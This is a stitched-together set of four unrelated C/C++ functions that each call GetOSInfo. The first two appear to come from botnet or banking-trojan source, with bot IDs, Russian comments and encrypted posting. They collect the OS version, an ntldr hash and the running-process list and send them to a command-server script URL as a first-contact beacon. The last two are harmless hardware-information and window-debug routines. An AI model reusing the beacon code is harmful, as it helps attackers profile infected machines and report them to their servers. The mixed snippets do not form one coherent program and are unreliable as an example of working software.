void DebugReportSystem() { DebugReportSettings* settings = DebugReportGetSettings(); DBGRPTDBG("DebugReportSystem", "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", settings->Enabled, settings->StatPrefix, settings->StatUrl ); if (!settings->Enabled) return; string BotUid = GenerateUidAsString(settings->StatPrefix); CHAR NtldrMd5Buffer[100]; PCHAR OsInfo = NULL; PCHAR NtldrMd5 = NULL; OsInfo = GetOSInfo(); NtldrMd5 = CalcNtldrMd5(NtldrMd5Buffer, sizeof(NtldrMd5Buffer)); PStrings Fields = Strings::Create(); AddURLParam(Fields, "cmd", "beforerbt"); AddURLParam(Fields, "uid", BotUid.t_str()); AddURLParam(Fields, "os", OsInfo); if (NtldrMd5 != NULL) { AddURLParam(Fields, "cs01", NtldrMd5); } PCHAR Params = Strings::GetText(Fields, "&"); PCHAR URL = STR::New(2, settings->StatUrl, Params); DBGRPTDBG("DebugReportSystem", "sending url='%s'", URL); PCHAR Buffer = NULL; HTTP::Get(URL, &Buffer, NULL); STR::Free(Buffer); STR::Free(URL); STR::Free(Params); Strings::Free(Fields); MemFree(OsInfo); DebugReportFreeSettings(settings); }
bool SendFirstInfo() { // Функция отправляет информацию о системе PCHAR Script = GetBotScriptURL(SCRIPT_FIRST_INFO); if (Script == NULL) return false; PCHAR OSInfo = GetOSInfo(); PCHAR ProcList = GetProcessList(); PCHAR ID = GenerateBotID(); // Формируем POST данные PStrings Fields = Strings::Create(); AddURLParam(Fields, "id", ID); AddURLParam(Fields, "os", OSInfo); AddURLParam(Fields, "plist", ProcList); MemFree(OSInfo); MemFree(ProcList); STR::Free(ID); // Лтправляем запрос #ifdef CryptHTTPH PCHAR Password = GetMainPassword(); bool Result = CryptHTTP::Post(Script, Password, Fields, NULL, NULL);; STR::Free(Password); #else bool Result = HTTP::Post(Script, Fields, NULL, NULL); #endif Strings::Free(Fields); STR::Free(Script); return Result; }
std::string CSysInfo::GetAllInfo (void) { struct sInfo { map<string, string> * pMap; string Part; }; sInfo Infos[ ] = { {&m_mapCPU , "CPU" }, {&m_mapOS , "OS" }, {&m_mapVideo, "Video" }, {&m_mapDisc , "Disk" }, {&m_mapMem , "Memory"} }; std::map<string, string>::iterator im; GetCpuInfo (); GetDiskInfo (); GetOSInfo (); GetVideoInfo (); GetMemInfo (); string strInfo; for(int i = 0; i < sizeof (Infos) / sizeof (sInfo); i++) { strInfo += "[ "; strInfo += Infos[ i ].Part + " ]\n"; for(im = Infos[ i ].pMap->begin (); im != Infos[ i ].pMap->end (); im++) { strInfo += im->first; strInfo += " : "; strInfo += im->second; strInfo += "\n"; } } return strInfo; }
void PrintWindowSettings( FILE * fp ) { int ret ; RECT r ; char buffer[MAX_VALUE_NAME] ; GetOSInfo( buffer ) ; fprintf( fp, "OSVersion=%s\n", buffer ) ; ret = GetWindowText( MainHwnd, buffer, MAX_VALUE_NAME ) ; buffer[ret]='\0'; ret = GetWindowTextLength( MainHwnd ) ; fprintf( fp, "Title (length)=%s (%d)\n", buffer, ret ) ; if( GetWindowRect( MainHwnd, &r ) ) { fprintf( fp, "WindowRect.left=%ld\n", r.left ) ; fprintf( fp, "WindowRect.right=%ld\n", r.right ) ; fprintf( fp, "WindowRect.top=%ld\n", r.top ) ; fprintf( fp, "WindowRect.bottom=%ld\n", r.bottom ) ; } if( GetClientRect( MainHwnd, &r ) ) { fprintf( fp, "ClientRect.left=%ld\n", r.left ) ; fprintf( fp, "ClientRect.right=%ld\n", r.right ) ; fprintf( fp, "ClientRect.top=%ld\n", r.top ) ; fprintf( fp, "ClientRect.bottom=%ld\n", r.bottom ) ; } ret = GetWindowModuleFileName( MainHwnd, buffer, MAX_VALUE_NAME ) ; buffer[ret]='\0'; fprintf( fp, "WindowModuleFileName=%s\n", buffer ) ; WINDOWINFO wi ; wi.cbSize = sizeof( WINDOWINFO ) ; if( GetWindowInfo( MainHwnd, &wi ) ) { fprintf( fp, "WindowInfo.cbSize=%lu\n", wi.cbSize ) ; fprintf( fp, "WindowInfo.rcWindow.left=%ld\n", wi.rcWindow.left ) ; fprintf( fp, "WindowInfo.rcWindow.right=%ld\n", wi.rcWindow.right ) ; fprintf( fp, "WindowInfo.rcWindow.top=%ld\n", wi.rcWindow.top ) ; fprintf( fp, "WindowInfo.rcWindow.bottom=%ld\n", wi.rcWindow.bottom ) ; fprintf( fp, "WindowInfo.rcClient.left=%ld\n", wi.rcWindow.left ) ; fprintf( fp, "WindowInfo.rcClient.right=%ld\n", wi.rcWindow.right ) ; fprintf( fp, "WindowInfo.rcClient.top=%ld\n", wi.rcWindow.top ) ; fprintf( fp, "WindowInfo.rcClient.bottom=%ld\n", wi.rcWindow.bottom ) ; fprintf( fp, "WindowInfo.dwStyle=%lu\n", wi.dwStyle ) ; fprintf( fp, "WindowInfo.dwExStyle=%lu\n", wi.dwExStyle ) ; fprintf( fp, "WindowInfo.dwWindowStatus=%lu\n", wi.dwWindowStatus ) ; fprintf( fp, "WindowInfo.cxWindowBorders=%u\n", wi.cxWindowBorders ) ; fprintf( fp, "WindowInfo.cyWindowBorders=%u\n", wi.cyWindowBorders ) ; fprintf( fp, "WindowInfo.wCreatorVersion=%d\n", wi.wCreatorVersion ) ; } WINDOWPLACEMENT wp; wp.length=sizeof(WINDOWPLACEMENT) ; if( GetWindowPlacement( MainHwnd, &wp ) ) { fprintf( fp, "WindowPlacement.length=%u\n", wp.length ) ; fprintf( fp, "WindowPlacement.flags=%u\n", wp.flags ) ; fprintf( fp, "WindowPlacement.showCmd=%u\n", wp.showCmd ) ; fprintf( fp, "WindowPlacement.ptMinPosition.x=%ld\n", wp.ptMinPosition.x ) ; fprintf( fp, "WindowPlacement.ptMinPosition.y=%ld\n", wp.ptMinPosition.y ) ; fprintf( fp, "WindowPlacement.ptMaxPosition.x=%ld\n", wp.ptMaxPosition.x ) ; fprintf( fp, "WindowPlacement.ptMaxPosition.y=%ld\n", wp.ptMaxPosition.y ) ; fprintf( fp, "WindowPlacement.rcNormalPosition.left=%ld\n", wp.rcNormalPosition.left ) ; fprintf( fp, "WindowPlacement.rcNormalPosition.right=%ld\n", wp.rcNormalPosition.right ) ; fprintf( fp, "WindowPlacement.rcNormalPosition.top=%ld\n", wp.rcNormalPosition.top ) ; fprintf( fp, "WindowPlacement.rcNormalPosition.bottom=%ld\n", wp.rcNormalPosition.bottom ) ; } fprintf( fp, "IsIconic=%d\n", IsIconic( MainHwnd ) ) ; fprintf( fp, "IsWindow=%d\n", IsWindow( MainHwnd ) ) ; fprintf( fp, "IsWindowUnicode=%d\n", IsWindowUnicode( MainHwnd ) ) ; fprintf( fp, "IsWindowVisible=%d\n", IsWindowVisible( MainHwnd ) ) ; fprintf( fp, "IsZoomed=%d\n", IsZoomed( MainHwnd ) ) ; fprintf( fp, "ScaleX=%d\n", GetDeviceCaps(GetDC(MainHwnd),LOGPIXELSX) ) ; fprintf( fp, "ScaleY=%d\n", GetDeviceCaps(GetDC(MainHwnd),LOGPIXELSY) ) ; }